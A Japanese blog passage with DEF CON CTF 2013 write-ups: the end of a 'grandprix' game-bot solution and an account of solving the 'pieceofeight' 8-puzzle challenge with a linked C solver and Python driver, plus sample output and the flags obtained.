Pythonスクリプト: http://ideone.com/VtvUPL

実行結果 

$ python grandprix.py
(中略)
|-----|
|     |
|     |
|     |
|     |
|     |
|     |
|     |
|     |
|=u===|
|-----|
You won this game. Push a key to play again
User won game
The key is: all our prix belong to you

なお、フラグ獲得後に再実行してみたところ、Too slow! になったり、障害物に衝突したりしたので、完全なスクリプトというわけではない。

障害物に衝突するのは、一度に4回分操作するのはやり過ぎだったようだ。

Writeup: DEF CON CTF 2013 / OMGACM-1 pieceofeight

日本語 (in Japanese):

問題文:

squaaak, pieces of eight. pieceofeight.shallweplayaga.me:8273

nc pieceofeight.shallweplayaga.me 8273 で接続すると3x3のマスに1~8の数字と、空白のマスがひとつ表示された。

-------------------
|     |     |     |
|  5  |  3  |  8  |
|     |     |     |

-------------------
|     |     |     |
|  2  |  1  |  4  |
|     |     |     |

-------------------
|     |     |     |
|     |  6  |  7  |
|     |     |     |
-------------------

 4x4 の 15パズル というのを知っているが、それの 3x3 版のように思える。

ネットで検索してみたら 8パズル と呼ばれているようだ。

操作方法を探ってみたら、u: up, d: down, l: left, r: right で移動できた。

手で1問解いてみたが、次の問題が表示されただけ。どうやら次々と問題を解くプログラムを組む必要がありそう。

ネットで自動解法プログラムを探してみたら rubyスクリプトがみつかり、それを使ったスクリプトを実行してみたところ、解析に時間がかかりすぎて Too slow と表示されて接続が切断されてしまった。

高速に解くプログラムがないかネット検索してみたところ、C言語で書かれたプログラムがあったので、それを改造し、それを次々呼び出すPythonスクリプトを書いた。

C言語プログラム: http://ideone.com/VIyruB

Pythonスクリプト: http://ideone.com/Br5LWg

それを実行したところ、58問解いたところで key が表示された。

$ python eight.py
(中略)
No 58: 641853702
answer: drdllurrulldrurddluul

-------------------
|     |     |     |
|  6  |  4  |  1  |
|     |     |     |

-------------------
|     |     |     |
|  8  |     |  3  |
|     |     |     |

-------------------
|     |     |     |
|  7  |  5  |  2  |
|     |     |     |
-------------------
(中略)
Solved
Press a key to start again: 
The key is: enemas on parade
$